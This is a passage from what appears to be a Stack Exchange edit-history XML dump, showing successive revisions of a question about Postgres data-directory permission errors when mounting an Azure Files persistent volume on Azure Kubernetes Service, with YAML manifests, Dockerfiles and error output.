template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        component: postgres&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: postgres&#xD;&#xA;          image: postgres&#xD;&#xA;          # I don't know, someone suggested this, but doesn't work apparently&#xD;&#xA;          securityContext: &#xD;&#xA;            runAsUser: 0&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 5432&#xD;&#xA;          env: &#xD;&#xA;            - name: POSTGRES_DB&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGDATABASE&#xD;&#xA;            - name: POSTGRES_USER&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGUSER&#xD;&#xA;            - name: POSTGRES_PASSWORD&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGPASSWORD&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-cluster-ip-service&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  selector:&#xD;&#xA;    component: postgres&#xD;&#xA;  ports:&#xD;&#xA;    - port: 1423&#xD;&#xA;      targetPort: 5432&#xD;&#xA;```&#xD;&#xA;You get the error:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data/pgdata': Operation not permitted&#xD;&#xA;```&#xD;&#xA;So with either of that as the Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data'&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data/pgdata'&#xD;&#xA;```&#xD;&#xA;Or&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;```&#xD;&#xA;It doesn't really matter, you still get the same type of error by doing any the following:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;Results in the following error:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: directory &quot;/var/lib/postgresql/data&quot; exists but is not empty If you want to create a new database system, either remove or empty the directory &quot;/var/lib/postgresql/data&quot; or run initdb with an argument other than &quot;/var/lib/postgresql/data&quot;.&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data': Operation not permitted&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;              value: &quot;-D /var/lib/postgresql/data/pgdata&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: could not change permissions of directory &quot;/var/lib/postgresql/data/pgdata&quot;: Operation not permitted fixing permissions on existing directory /var/lib/postgresql/data/pgdata ...&#xD;&#xA;&#xD;&#xA;So nothing seems to work that I've tried and following the documentation where I can.&#xD;&#xA;```&#xD;&#xA;Someone suggested to get rid of the volume mounts like so:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;Which, hey, that actually works! But doesn't persist data given it just uses the Pod storage so is pretty pointless:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;And sure enough when you create a table in Postgres, destroy the Pod, and then redeploy it, of course the table is no longer there.&#xD;&#xA;&#xD;&#xA;So more than likely I'm doing something wrong, but I've been following the documentation and seems like this should work. &#xD;&#xA;&#xD;&#xA;Where are things going wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT: Permissions in Pod**&#xD;&#xA;&#xD;&#xA;Apparently it is a permissions issue that occurs when `PGDATA` is the same directory as `mountPath`. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  ...&#xD;&#xA;  - name: PGDATA&#xD;&#xA;    value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;  ...&#xD;&#xA;  # if PGDATA is not specified it defaults to /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql/data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The permissions for where it creates the data files is `postgres`. However, doing this, it doesn't map to Azure Files and the PVC. It just stays and is destroyed with the Pod.&#xD;&#xA;&#xD;&#xA;I think what is happening is `mountPath` uses `root` and `PGDATA` uses `postgres`, and somehow `mountPath` is trying to use `postgres`??? Really, not sure and still lost as to how to resolve it.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E8fIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32932" PostHistoryTypeId="5" PostId="10669" RevisionGUID="ace165c7-8634-4e90-b6f3-346ab2c1990b" CreationDate="2020-02-05T23:53:32.917" UserId="11490" Comment="added 992 characters in body" Text="These are pretty much the steps I have followed in order. Basically what is outlined in the documentation:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv&#xD;&#xA;&#xD;&#xA;1. `azure-storage-claim.yaml`&#xD;&#xA;```&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-sc&#xD;&#xA;provisioner: kubernetes.io/azure-file&#xD;&#xA;mountOptions:&#xD;&#xA;  - dir_mode=0777&#xD;&#xA;  - file_mode=0777&#xD;&#xA;  - uid=1000&#xD;&#xA;  - gid=1000&#xD;&#xA;  - mfsymlinks&#xD;&#xA;  - nobrl&#xD;&#xA;  - cache=none&#xD;&#xA;parameters:&#xD;&#xA;  skuName: Standard_LRS&#xD;&#xA;  location: westus&#xD;&#xA;```&#xD;&#xA;2. `azure-storage.yaml`&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolumeClaim&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-storage&#xD;&#xA;spec:&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  storageClassName: test-app-sc&#xD;&#xA;  resources:&#xD;&#xA;    requests:&#xD;&#xA;      storage: 15Gi&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;PVC is now setup.&#xD;&#xA;&#xD;&#xA;Changed the mountPath per the Postgres image documentation:&#xD;&#xA;&#xD;&#xA;&gt;PGDATA&#xD;&#xA;&#xD;&#xA;&gt;This optional variable can be used to define another location - like a subdirectory - for the database files. The default is /var/lib/postgresql/data, but if the data volume you're using is a filesystem mountpoint (like with GCE persistent disks), Postgres initdb recommends a subdirectory (for example /var/lib/postgresql/data/pgdata ) be created to contain the data.&#xD;&#xA;&#xD;&#xA;&gt;This is an environment variable that is not Docker specific. Because the variable is used by the postgres server binary (see the PostgreSQL docs), the entrypoint script takes it into account.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Based on that, I have my `postgres.yaml` setup like the following:&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-deployment&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      component: postgres&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        component: postgres&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: postgres&#xD;&#xA;          image: postgres&#xD;&#xA;          # I don't know, someone suggested this, but doesn't work apparently&#xD;&#xA;          securityContext: &#xD;&#xA;            runAsUser: 0&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 5432&#xD;&#xA;          env: &#xD;&#xA;            - name: POSTGRES_DB&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGDATABASE&#xD;&#xA;            - name: POSTGRES_USER&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGUSER&#xD;&#xA;            - name: POSTGRES_PASSWORD&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGPASSWORD&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-cluster-ip-service&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  selector:&#xD;&#xA;    component: postgres&#xD;&#xA;  ports:&#xD;&#xA;    - port: 1423&#xD;&#xA;      targetPort: 5432&#xD;&#xA;```&#xD;&#xA;You get the error:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data/pgdata': Operation not permitted&#xD;&#xA;```&#xD;&#xA;So with either of that as the Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data'&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data/pgdata'&#xD;&#xA;```&#xD;&#xA;Or&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;```&#xD;&#xA;It doesn't really matter, you still get the same type of error by doing any the following:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;Results in the following error:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: directory &quot;/var/lib/postgresql/data&quot; exists but is not empty If you want to create a new database system, either remove or empty the directory &quot;/var/lib/postgresql/data&quot; or run initdb with an argument other than &quot;/var/lib/postgresql/data&quot;.&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data': Operation not permitted&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;              value: &quot;-D /var/lib/postgresql/data/pgdata&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: could not change permissions of directory &quot;/var/lib/postgresql/data/pgdata&quot;: Operation not permitted fixing permissions on existing directory /var/lib/postgresql/data/pgdata ...&#xD;&#xA;&#xD;&#xA;So nothing seems to work that I've tried and following the documentation where I can.&#xD;&#xA;```&#xD;&#xA;Someone suggested to get rid of the volume mounts like so:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;Which, hey, that actually works! But doesn't persist data given it just uses the Pod storage so is pretty pointless:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;And sure enough when you create a table in Postgres, destroy the Pod, and then redeploy it, of course the table is no longer there.&#xD;&#xA;&#xD;&#xA;So more than likely I'm doing something wrong, but I've been following the documentation and seems like this should work. &#xD;&#xA;&#xD;&#xA;Where are things going wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT: Permissions in Pod**&#xD;&#xA;&#xD;&#xA;Apparently it is a permissions issue that occurs when `PGDATA` is the same directory as `mountPath`. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  ...&#xD;&#xA;  - name: PGDATA&#xD;&#xA;    value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;  ...&#xD;&#xA;  # if PGDATA is not specified it defaults to /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql/data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Something like this where they do not match will create the Pod, but uses Pod storage which I obviously don't want:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  # Thus /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: croner-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;```&#xD;&#xA;Permissions `ls -l` looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ls -l&#xD;&#xA;&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:06 apt&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:07 dpkg&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Feb  2 06:06 exim4&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Aug 28  2018 logrotate&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Nov 10 12:17 misc&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Jan 30 00:00 pam&#xD;&#xA;drwxr-xr-x 1 postgres postgres 4096 Feb  2 06:07 postgresql&#xD;&#xA;drwxrwxrwx 2     1000     1000    0 Jan 31 21:46 postgresql-data&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Jan 30 00:00 systemd&#xD;&#xA;drwxr-xr-x 3 root     root     4096 Feb  2 06:07 ucf&#xD;&#xA;&#xD;&#xA;$ ls -l postgresql &amp;&amp; ls -l postgresql/data &amp;&amp; ls -l postgresql-data&#xD;&#xA;total 4&#xD;&#xA;drwx------ 19 postgres postgres 4096 Feb  5 23:28 data&#xD;&#xA;total 124&#xD;&#xA;drwx------ 6 postgres postgres  4096 Feb  5 23:28 base&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:29 global&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_commit_ts&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_dynshmem&#xD;&#xA;-rw------- 1 postgres postgres  4281 Feb  5 23:28 pg_hba.conf&#xD;&#xA;-rw------- 1 postgres postgres  1636 Feb  5 23:28 pg_ident.conf&#xD;&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:33 pg_logical&#xD;&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:28 pg_multixact&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_notify&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_replslot&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_serial&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_snapshots&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_stat&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:51 pg_stat_tmp&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_subtrans&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_tblspc&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_twophase&#xD;&#xA;-rw------- 1 postgres postgres     3 Feb  5 23:28 PG_VERSION&#xD;&#xA;drwx------ 3 postgres postgres  4096 Feb  5 23:28 pg_wal&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_xact&#xD;&#xA;-rw------- 1 postgres postgres    88 Feb  5 23:28 postgresql.auto.conf&#xD;&#xA;-rw------- 1 postgres postgres 26588 Feb  5 23:28 postgresql.conf&#xD;&#xA;-rw------- 1 postgres postgres    36 Feb  5 23:28 postmaster.opts&#xD;&#xA;-rw------- 1 postgres postgres    94 Feb  5 23:28 postmaster.pid&#xD;&#xA;total 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The permissions for where it creates the data files is `postgres`. However, doing this, it doesn't map to Azure Files and the PVC. It just stays and is destroyed with the Pod.&#xD;&#xA;&#xD;&#xA;I think what is happening is `mountPath` uses `root` and `PGDATA` uses `postgres`, and somehow `mountPath` is trying to use `postgres`??? Really, not sure and still lost as to how to resolve it.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E8fIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32933" PostHistoryTypeId="5" PostId="10669" RevisionGUID="445ae84b-8917-40d1-adb9-1f97983786eb" CreationDate="2020-02-06T00:01:50.963" UserId="11490" Comment="added 380 characters in body" Text="These are pretty much the steps I have followed in order. Basically what is outlined in the documentation:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv&#xD;&#xA;&#xD;&#xA;1. `azure-storage-claim.yaml`&#xD;&#xA;```&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-sc&#xD;&#xA;provisioner: kubernetes.io/azure-file&#xD;&#xA;mountOptions:&#xD;&#xA;  - dir_mode=0777&#xD;&#xA;  - file_mode=0777&#xD;&#xA;  - uid=1000&#xD;&#xA;  - gid=1000&#xD;&#xA;  - mfsymlinks&#xD;&#xA;  - nobrl&#xD;&#xA;  - cache=none&#xD;&#xA;parameters:&#xD;&#xA;  skuName: Standard_LRS&#xD;&#xA;  location: westus&#xD;&#xA;```&#xD;&#xA;2. `azure-storage.yaml`&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolumeClaim&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-storage&#xD;&#xA;spec:&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  storageClassName: test-app-sc&#xD;&#xA;  resources:&#xD;&#xA;    requests:&#xD;&#xA;      storage: 15Gi&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;PVC is now setup.&#xD;&#xA;&#xD;&#xA;Changed the mountPath per the Postgres image documentation:&#xD;&#xA;&#xD;&#xA;&gt;PGDATA&#xD;&#xA;&#xD;&#xA;&gt;This optional variable can be used to define another location - like a subdirectory - for the database files. The default is /var/lib/postgresql/data, but if the data volume you're using is a filesystem mountpoint (like with GCE persistent disks), Postgres initdb recommends a subdirectory (for example /var/lib/postgresql/data/pgdata ) be created to contain the data.&#xD;&#xA;&#xD;&#xA;&gt;This is an environment variable that is not Docker specific. Because the variable is used by the postgres server binary (see the PostgreSQL docs), the entrypoint script takes it into account.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Based on that, I have my `postgres.yaml` setup like the following:&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-deployment&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      component: postgres&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        component: postgres&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: postgres&#xD;&#xA;          image: postgres&#xD;&#xA;          # I don't know, someone suggested this, but doesn't work apparently&#xD;&#xA;          securityContext: &#xD;&#xA;            runAsUser: 0&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 5432&#xD;&#xA;          env: &#xD;&#xA;            - name: POSTGRES_DB&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGDATABASE&#xD;&#xA;            - name: POSTGRES_USER&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGUSER&#xD;&#xA;            - name: POSTGRES_PASSWORD&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGPASSWORD&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-cluster-ip-service&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  selector:&#xD;&#xA;    component: postgres&#xD;&#xA;  ports:&#xD;&#xA;    - port: 1423&#xD;&#xA;      targetPort: 5432&#xD;&#xA;```&#xD;&#xA;You get the error:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data/pgdata': Operation not permitted&#xD;&#xA;```&#xD;&#xA;So with either of that as the Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data'&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data/pgdata'&#xD;&#xA;```&#xD;&#xA;Or&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;```&#xD;&#xA;It doesn't really matter, you still get the same type of error by doing any the following:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;Results in the following error:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to 